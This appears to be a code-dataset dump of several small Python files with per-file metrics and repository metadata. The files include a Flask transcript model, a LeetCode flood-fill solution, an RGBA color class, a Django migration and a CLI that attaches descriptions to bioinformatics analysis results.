9
117
38.666667
0.840426
0
0
0
0
0
0.281609
0.077586
0
0
0
0
0
1
0
false
0
0.285714
0
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
dde012f0131c0466bb10b09a8bb9b931cf29f9e0
1,250
py
Python
sopy/transcript/models.py
AlexFrazer/sopython-site
4ede64cf6d04def596be13feeaa4d84ce8503ef3
[ "BSD-3-Clause" ]
81
2015-02-17T17:07:27.000Z
2021-08-15T17:46:13.000Z
sopy/transcript/models.py
AlexFrazer/sopython-site
4ede64cf6d04def596be13feeaa4d84ce8503ef3
[ "BSD-3-Clause" ]
81
2015-02-17T17:04:16.000Z
2021-02-21T03:52:55.000Z
sopy/transcript/models.py
AlexFrazer/sopython-site
4ede64cf6d04def596be13feeaa4d84ce8503ef3
[ "BSD-3-Clause" ]
29
2015-01-18T18:28:06.000Z
2022-02-05T03:11:04.000Z
from urllib.parse import quote_plus from flask import url_for from sopy import db from sopy.ext.models import IDModel from sopy.se_data.models import ChatMessage class Transcript(IDModel): title = db.Column(db.String, nullable=False) ts = db.Column(db.DateTime, nullable=False) body = db.Column(db.String, nullable=False, default='') messages = db.relationship(ChatMessage, lambda: transcript_message, order_by=ChatMessage.id, cascade='all') def __str__(self): return self.title @property def detail_url(self): return url_for('transcript.detail', id=self) @property def update_url(self): return url_for('transcript.update', id=self.id) @property def delete_url(self): return url_for('transcript.delete', id=self.id) @property def local_time_url(self): query = quote_plus('{} utc in local time'.format(self.ts.strftime('%Y-%m-%d %H:%M'))) return 'http://www.wolframalpha.com/input?i={}'.format(query) transcript_message = db.Table( 'transcript_message', db.Column('transcript_id', db.Integer, db.ForeignKey(Transcript.id), primary_key=True), db.Column('message_id', db.Integer, db.ForeignKey(ChatMessage.id), primary_key=True) )
30.487805
111
0.6992
173
1,250
4.913295
0.393064
0.047059
0.035294
0.056471
0.269412
0.170588
0
0
0
0
0
0
0.1696
1,250
40
112
31.25
0.818882
0
0
0.133333
0
0
0.1336
0
0
0
0
0
0
1
0.166667
false
0
0.166667
0.133333
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
dde18ec4be1d8c33f255254c0622e00cb5440454
903
py
Python
hw/dendogram/corpus.py
colonel8377/hkust_machine_learning
80d880a8bd6a0139d5d5409000f836900855b0ba
[ "MIT" ]
3
2021-09-14T11:45:08.000Z
2022-03-24T14:15:45.000Z
hw/dendogram/corpus.py
colonel8377/hkust_machine_learning
80d880a8bd6a0139d5d5409000f836900855b0ba
[ "MIT" ]
1
2021-11-02T09:05:03.000Z
2021-11-02T09:05:03.000Z
hw/dendogram/corpus.py
colonel8377/hkust_machine_learning
80d880a8bd6a0139d5d5409000f836900855b0ba
[ "MIT" ]
2
2021-09-04T12:04:47.000Z
2021-09-29T02:22:27.000Z
import string class Text(object): def __init__(self, id, title, author, year, text, kind=None): self._id = id self._text = text self._title = title self._author = author self._year = int(year) self._kind = kind # remove all punctuation, transform to lowercase and split on spaces self._tokens = text.translate(None, string.punctuation).lower().split() def __hash__(self): # IS THIS ALLOWED? return self._id def title(self): return self._title def author(self): return self._author def year(self): return self._year def kind(self): return self._kind def __getitem__(self, i): if isinstance(i, slice): return self._tokens[i.start:i.stop] else: return self._tokens[i] def __len__(self): return len(self._tokens)
23.763158
79
0.594684
113
903
4.477876
0.371681
0.13834
0.110672
0.067194
0
0
0
0
0
0
0
0
0.307863
903
37
80
24.405405
0.8096
0.091916
0
0
0
0
0
0
0
0
0
0
0
1
0.296296
false
0
0.037037
0.222222
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
ddf4f002bdafcaa35b08da3d17b10ff969163143
3,227
py
Python
.leetcode/733.flood-fill.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
.leetcode/733.flood-fill.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
.leetcode/733.flood-fill.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
# @lc app=leetcode id=733 lang=python3 # # [733] Flood Fill # # https://leetcode.com/problems/flood-fill/description/ # # algorithms # Easy (56.41%) # Likes: 2867 # Dislikes: 304 # Total Accepted: 295.8K # Total Submissions: 520.1K # Testcase Example: '[[1,1,1],[1,1,0],[1,0,1]]\n1\n1\n2' # # An image is represented by an m x n integer grid image where image[i][j] # represents the pixel value of the image. # # You are also given three integers sr, sc, and newColor. You should perform a # flood fill on the image starting from the pixel image[sr][sc]. # # To perform a flood fill, consider the starting pixel, plus any pixels # connected 4-directionally to the starting pixel of the same color as the # starting pixel, plus any pixels connected 4-directionally to those pixels # (also with the same color), and so on. Replace the color of all of the # aforementioned pixels with newColor. # # Return the modified image after performing the flood fill. # # # Example 1: # # # Input: image = [[1,1,1],[1,1,0],[1,0,1]], sr = 1, sc = 1, newColor = 2 # Output: [[2,2,2],[2,2,0],[2,0,1]] # Explanation: From the center of the image with position (sr, sc) = (1, 1) # (i.e., the red pixel), all pixels connected by a path of the same color as # the starting pixel (i.e., the blue pixels) are colored with the new color. # Note the bottom corner is not colored 2, because it is not 4-directionally # connected to the starting pixel. # # # Example 2: # # # Input: image = [[0,0,0],[0,0,0]], sr = 0, sc = 0, newColor = 2 # Output: [[2,2,2],[2,2,2]] # # # # Constraints: # # # m == image.length # n == image[i].length # 1 <= m, n <= 50 # 0 <= image[i][j], newColor < 2^16 # 0 <= sr < m # 0 <= sc < n # # # # @lc tags=depth-first-search # @lc imports=start from imports import * # @lc imports=end # @lc idea=start # # 替换数值。 # 栈。 # # @lc idea=end # @lc group= # @lc rank= # @lc code=start class Solution: def floodFill(self, image: List[List[int]], sr: int, sc: int, newColor: int) -> List[List[int]]: oldColor = image[sr][sc] rows, cols = len(image), len(image[0]) if oldColor != newColor: direcs = [(0, 1), (0, -1), (1, 0), (-1, 0)] s = [(sr, sc)] while s: i, j = s.pop() if 0 <= i < rows and 0 <= j < cols and image[i][j] == oldColor: image[i][j] = newColor for oi, oj in direcs: s.append((i + oi, j + oj)) return image pass # @lc code=end # @lc main=start if __name__ == '__main__': print('Example 1:') print('Input : ') print('image = [[1,1,1],[1,1,0],[1,0,1]], sr = 1, sc = 1, newColor = 2') print('Exception :') print('[[2,2,2],[2,2,0],[2,0,1]]') print('Output :') print(str(Solution().floodFill([[1, 1, 1], [1, 1, 0], [1, 0, 1]], 1, 1, 2))) print() print('Example 2:') print('Input : ') print('image = [[0,0,0],[0,0,0]], sr = 0, sc = 0, newColor = 2') print('Exception :') print('[[2,2,2],[2,2,2]]') print('Output :') print(str(Solution().floodFill([[0, 0, 0], [0, 0, 0]], 0, 0, 2))) print() pass # @lc main=end
25.409449
79
0.563062
519
3,227
3.485549
0.292871
0.022112
0.023217
0.024323
0.250415
0.245439
0.204533
0.200111
0.164179
0.147043
0
0.067083
0.256275
3,227
127
80
25.409449
0.686667
0.544469
0
0.277778
0
0.055556
0.173601
0.036585
0
0
0
0
0
1
0.027778
false
0.055556
0.027778
0
0.111111
0.444444
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
1
0
2
ddf942b2e063534e1be85e5ea023893bc397f31f
281
py
Python
input/list_1.py
nayanapardhekar/Python
55ea0cc1dd69192b25cb71358cd03cc2ce13be0a
[ "MIT" ]
37
2019-04-03T07:19:57.000Z
2022-01-09T06:18:41.000Z
input/list_1.py
nayanapardhekar/Python
55ea0cc1dd69192b25cb71358cd03cc2ce13be0a
[ "MIT" ]
16
2020-08-11T08:09:42.000Z
2021-10-30T17:40:48.000Z
input/list_1.py
nayanapardhekar/Python
55ea0cc1dd69192b25cb71358cd03cc2ce13be0a
[ "MIT" ]
130
2019-10-02T14:40:20.000Z
2022-01-26T17:38:26.000Z
n=int(input("enter number of elements: ")) l=[] for i in range(n): l.append(int(input(f"enter l[{i}]: "))) print(l) ''' output: enter number of elements: 6 enter l[0]: 23 enter l[1]: 11 enter l[2]: 67 enter l[3]: 889 enter l[4]: 342 enter l[5]: 23 [23, 11, 67, 889, 342, 23] '''
16.529412
42
0.604982
59
281
2.881356
0.474576
0.247059
0.152941
0.247059
0
0
0
0
0
0
0
0.150215
0.170819
281
16
43
17.5625
0.579399
0
0
0
0
0
0.336134
0
0
0
0
0
0
1
0
false
0
0
0
0
0.2
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
fb11cc94756d7a64bca7380ced7163ff03cf6c9d
1,098
py
Python
desert/color.py
inconvergent/desert
377e8d48ca10a6733696943b6b933d7f82979d77
[ "MIT" ]
65
2017-10-27T20:08:16.000Z
2022-01-09T10:04:34.000Z
desert/color.py
inconvergent/desert
377e8d48ca10a6733696943b6b933d7f82979d77
[ "MIT" ]
null
null
null
desert/color.py
inconvergent/desert
377e8d48ca10a6733696943b6b933d7f82979d77
[ "MIT" ]
6
2017-10-28T21:15:21.000Z
2020-01-21T18:54:35.000Z
# -*- coding: utf-8 -*- from json import dumps from json import loads from numpy import reshape from numpy import float32 as npfloat from .helpers import pfloat from .helpers import json_array class Rgba(): def __init__(self, r, g, b, a=1.0, pre=False): if not pre: self.rgba = reshape([a*r, a*g, a*b, a], (1, 4)).astype(npfloat) else: self.rgba = reshape([r, g, b, a], (1, 4)).astype(npfloat) def __repr__(self): a = self.rgba[0, 3] return '<rgba {:0.3f} {:0.3f} {:0.3f} {:0.3f}>'.format( self.rgba[0, 0]/a, self.rgba[0, 1]/a, self.rgba[0, 2]/a, a) @staticmethod def from_json(j): if isinstance(j, str): j = loads(j) data = j['_data'] _rgb = data['rgba'] return Rgba(_rgb[0], _rgb[1], _rgb[2], _rgb[3], pre=True) def json(self): return { '_type': 'rgba', '_data': {'rgba': list(pfloat(r) for r in list(self.rgba[0, :]))} } def rgb(r, g, b, a=1.0): return Rgba(r, g, b, a) def white(a=1.0): return Rgba(1, 1, 1, a) def black(a=1.0): return Rgba(0, 0, 0, a)
20.333333
73
0.553734
191
1,098
3.089005
0.277487
0.094915
0.076271
0.027119
0.162712
0.098305
0
0
0
0
0
0.051345
0.255009
1,098
53
74
20.716981
0.669927
0.019126
0
0
0
0.027027
0.060521
0
0
0
0
0
0
1
0.189189
false
0
0.162162
0.108108
0.540541
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
fb134c450c18cd77b03d07534120f43f4678a6d3
201
py
Python
Inheritance/class_Inheritance/project_cars/sports_car.py
vasetousa/OOP
e4fedc497dd149c9800613ea11846e0e770d122c
[ "MIT" ]
null
null
null
Inheritance/class_Inheritance/project_cars/sports_car.py
vasetousa/OOP
e4fedc497dd149c9800613ea11846e0e770d122c
[ "MIT" ]
null
null
null
Inheritance/class_Inheritance/project_cars/sports_car.py
vasetousa/OOP
e4fedc497dd149c9800613ea11846e0e770d122c
[ "MIT" ]
null
null
null
from Inheritance.class_Inheritance.project_zoo import Car class SportsCar(Car): def race(self): return "racing..." sc = SportsCar() print(sc.drive()) print(sc.move()) print(sc.race())
14.357143
57
0.681592
27
201
5
0.62963
0.155556
0
0
0
0
0
0
0
0
0
0
0.164179
201
13
58
15.461538
0.803571
0
0
0
0
0
0.044776
0
0
0
0
0
0
1
0.125
false
0
0.125
0.125
0.5
0.375
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
2
fb2310cd470fca6cde0b1b57f2d12555db8cd628
5,225
py
Python
scripts/link_descriptions.py
nanusefue/CAP2-1
670b343ac7629fe0e64e86263ae420b01952f427
[ "MIT" ]
9
2020-07-10T15:45:12.000Z
2022-01-19T10:44:13.000Z
scripts/link_descriptions.py
nanusefue/CAP2-1
670b343ac7629fe0e64e86263ae420b01952f427
[ "MIT" ]
14
2020-06-15T16:04:54.000Z
2022-03-12T01:05:47.000Z
scripts/link_descriptions.py
nanusefue/CAP2-1
670b343ac7629fe0e64e86263ae420b01952f427
[ "MIT" ]
5
2021-01-05T01:26:48.000Z
2022-01-23T11:20:49.000Z
import click from pangea_api import * descriptions = { "megagenome::v1::mash": "compact sketches to quickly compare samples", "metagenscope::reads_classified": "input for the metagenscope visualization engine", "metagenscope::reads_classified": "input for the metagenscope visualization engine", "metagenscope::ave_genome_size": "input for the metagenscope visualization engine", "metagenscope::taxa_tree": "input for the metagenscope visualization engine", "metagenscope::alpha_diversity ": "input for the metagenscope visualization engine", "metagenscope::top_taxa": "input for the metagenscope visualization engine", "metagenscope::sample_similarity": "input for the metagenscope visualization engine", "metagenscope::volcano": "input for the metagenscope visualization engine", "metagenscope::covid_fast_detect": "input for the metagenscope visualization engine", "Other Metadata": "additional metadata tables", "Data Packet": "packet with a number of table summarizing results for this group", "cap2::metaspades": "genome and contig assembly", "cap2::bracken_kraken2": "species level abundance of microbes", "cap2::mash": "compact sketches to quickly compare samples", "cap2::remove_human": "reads with human genetic sequences removed", "cap2::jellyfish": "k-mer abundance profiles", "cap2::hmp_comparison": "comparison with human microbiome project samples", "cap2::diamond": "alignment of reads to UniRef90", "cap2::fastqc": "basic quality control metrics", "cap2::kraken2": "read level taxonomic assignments", "cap2::clean_reads": "error corrected and human-free reads", "cap2::basic_sample_stats": "GC fraction, similarity to control samples, fraction human", "cap2::fast_kraken2": "quick initial taxonomic profiles", "cap2::experimental::covid19_fast_detect": "quickly detect SARS-CoV-2 and other viruses", "cap2::experimental::call_covid_variants": "identify variants in SARS-CoV-2 genome relative to the reference", "cap2::experimental::make_covid_pileup": "pileup reads that align to the SARS-CoV-2 genome", "cap2::experimental::covid_genome_coverage": "calculate coverage of the SARS-CoV-2 genome", "cap2::experimental::make_covid_consensus_seq": "generate a consensus SARS-CoV-2 genome with all major variants in the sample", "cap2::experimental::align_to_covid_genome": "align reads to the SARS-CoV-2 genome", "cap2::capalyzer::kraken2_taxa": "table of read level taxonomic assignments for samples in this group", "cap2::capalyzer::basic_stats_table": "GC fraction, similarity to control samples, fraction human for all samples", "cap2::capalyzer::fast_kraken2": "quick initial taxonomic profiles for all samples", "cap2::capalyzer::kraken2_covid_fast_detect": "quickly detect SARS-CoV-2 and other viruses for all samples", "cap2::capalyzer::fast_kraken2_taxa": "quick initial taxonomic profilesfor all samples", "cap1::read_classification_proportions": "relative abundance of domain level taxa", "cap1::microbe_census": "estimate of average genome size", "cap1::krakenhll_taxonomy_profiling": "read level taonomic assignments", "cap1::humann2_functional_profiling": "metabolic pathway abundance", "cap1::bracken_abundance_estimation": "species level abundance of microbes", "cap1::metaphlan2_taxonomy_profiling": "species level abundance of microbes", "cap1::filter_human_dna": "reads with human genetic sequences removed", "cap1::hmp_site_dists": "comparison with human microbiome project samples", "cap1::adapter_removal": "reads with adapter sequences removed", "raw::raw_reads": "standard paired-end short reads", "raw::raw_single_ended_reads": "standard single-end short reads", } @click.group() def main(): pass @main.command('group') @click.option('-e', '--email') @click.option('-p', '--password') @click.argument('org_name') @click.argument('grp_name') def group(email, password, org_name, grp_name): knex = Knex(endpoint_url='https://pangeabio.io') User(knex, email, password).login() org = Organization(knex, org_name).get() grp = org.sample_group(grp_name).get() for ar in grp.get_analysis_results(): try: desc = descriptions[ar.module_name] except KeyError: continue ar.description = desc ar.save() click.echo(f'added description to {ar}', err=True) @main.command('samples') @click.option('-e', '--email') @click.option('-p', '--password') @click.argument('org_name') @click.argument('grp_name') def samples(email, password, org_name, grp_name): knex = Knex(endpoint_url='https://pangeabio.io') User(knex, email, password).login() org = Organization(knex, org_name).get() grp = org.sample_group(grp_name).get() for sample in grp.get_samples(): for ar in sample.get_analysis_results(cache=False): try: desc = descriptions[ar.module_name] except KeyError: continue ar.description = desc ar.save() click.echo(f'added description to {ar}', err=True) if __name__ == '__main__': main()
46.651786
131
0.714067
648
5,225
5.615741
0.29784
0.019786
0.027205
0.056884
0.547128
0.531465
0.437758
0.280297
0.253366
0.253366
0
0.012128
0.163636
5,225
111
132
47.072072
0.820595
0
0
0.347826
0
0
0.643568
0.180704
0
0
0
0
0
1
0.032609
false
0.076087
0.021739
0
0.054348
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
fb2b7e4d61ad83e8f0b79faf18128b54a725ecd6
393
py
Python
ofx2xlsmbr/factory/WriterAbstractFactory.py
rmusmanno/ofx2xlsmbr
15d45148f6ad77ee300a42215c3098576ff9d7c4
[ "MIT" ]
null
null
null
ofx2xlsmbr/factory/WriterAbstractFactory.py
rmusmanno/ofx2xlsmbr
15d45148f6ad77ee300a42215c3098576ff9d7c4
[ "MIT" ]
1
2021-03-31T19:12:01.000Z
2021-03-31T19:12:01.000Z
ofx2xlsmbr/factory/WriterAbstractFactory.py
rmusmanno/ofx2xlsmbr
15d45148f6ad77ee300a42215c3098576ff9d7c4
[ "MIT" ]
null
null
null
import abc from ofx2xlsmbr.writer.IWriterBankStatement import IWriterBankStatement from ofx2xlsmbr.writer.IWriterCashFlow import IWriterCashFlow class WriterAbstractFactory(metaclass=abc.ABCMeta): @abc.abstractmethod def createWriterBankStatement(self) -> IWriterBankStatement: pass @abc.abstractmethod def createWriterCashFlow(self) -> IWriterCashFlow: pass
30.230769
71
0.793893
33
393
9.454545
0.515152
0.089744
0.128205
0
0
0
0
0
0
0
0
0.00597
0.147583
393
13
72
30.230769
0.925373
0
0
0.4
0
0
0
0
0
0
0
0
0
1
0.2
false
0.2
0.3
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
fb2dd66c698324e7c23ff6c76701b8a625520158
126
py
Python
wyeusk/__init__.py
frayside10/wyeusk
19db012c798e544ec1cefe872b7fba7b9549179c
[ "MIT" ]
null
null
null
wyeusk/__init__.py
frayside10/wyeusk
19db012c798e544ec1cefe872b7fba7b9549179c
[ "MIT" ]
null
null
null
wyeusk/__init__.py
frayside10/wyeusk
19db012c798e544ec1cefe872b7fba7b9549179c
[ "MIT" ]
null
null
null
"""Top-level package for wyeusk.""" __author__ = """Steve Betts""" __email__ = 'stevo.betts@gmail.com' __version__ = '0.1.0'
21
35
0.674603
17
126
4.294118
0.882353
0
0
0
0
0
0
0
0
0
0
0.027027
0.119048
126
5
36
25.2
0.630631
0.230159
0
0
0
0
0.406593
0.230769
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
fb38a4a82a0ed9a5d0fcbe4ae11b635ccf24a565
534
py
Python
shop/migrations/0008_auto_20190620_2129.py
Ebulo/myKart
8351047b2efe134fabc89eb9bb32a1b573d2de5b
[ "MIT" ]
null
null
null
shop/migrations/0008_auto_20190620_2129.py
Ebulo/myKart
8351047b2efe134fabc89eb9bb32a1b573d2de5b
[ "MIT" ]
null
null
null
shop/migrations/0008_auto_20190620_2129.py
Ebulo/myKart
8351047b2efe134fabc89eb9bb32a1b573d2de5b
[ "MIT" ]
null
null
null
# Generated by Django 2.2a1 on 2019-06-20 15:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('shop', '0007_auto_20190620_2027'), ] operations = [ migrations.AlterField( model_name='account', name='dob', field=models.DateField(), ), migrations.AlterField( model_name='account', name='phone', field=models.IntegerField(), ), ]
22.25
48
0.531835
48
534
5.8125
0.708333
0.143369
0.179211
0.207885
0.286738
0.286738
0
0
0
0
0
0.090379
0.357678
534
23
49
23.217391
0.723032
0.08427
0
0.352941
1
0
0.105603
0.049569
0
0
0
0
0
1
0
false
0
0.058824
0
0.235294
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
3492dd31a3e5cdbaac7c9e1546d72759b053c9e1
199
py
Python
omniconverter/__init__.py
mpahl/omniconverter
09e00222b407a31b7887dd77d1b97ff27a519629
[ "MIT" ]
null
null
null
omniconverter/__init__.py
mpahl/omniconverter
09e00222b407a31b7887dd77d1b97ff27a519629
[ "MIT" ]
415
2018-08-30T08:14:21.000Z
2022-03-31T20:59:02.000Z
omniconverter/__init__.py
mpahl/omniconverter
09e00222b407a31b7887dd77d1b97ff27a519629
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """Top-level package for Omniconverter.""" __author__ = """Marius Pahl""" __email__ = 'marius.jf.pahl@gmail.com' __version__ = '0.1.7' from .omniconverter import Converter
19.9
42
0.683417
25
199
4.96
0.88
0
0
0
0
0
0
0
0
0
0
0.023121
0.130653
199
9
43
22.111111
0.693642
0.296482
0
0
0
0
0.298507
0.179104
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2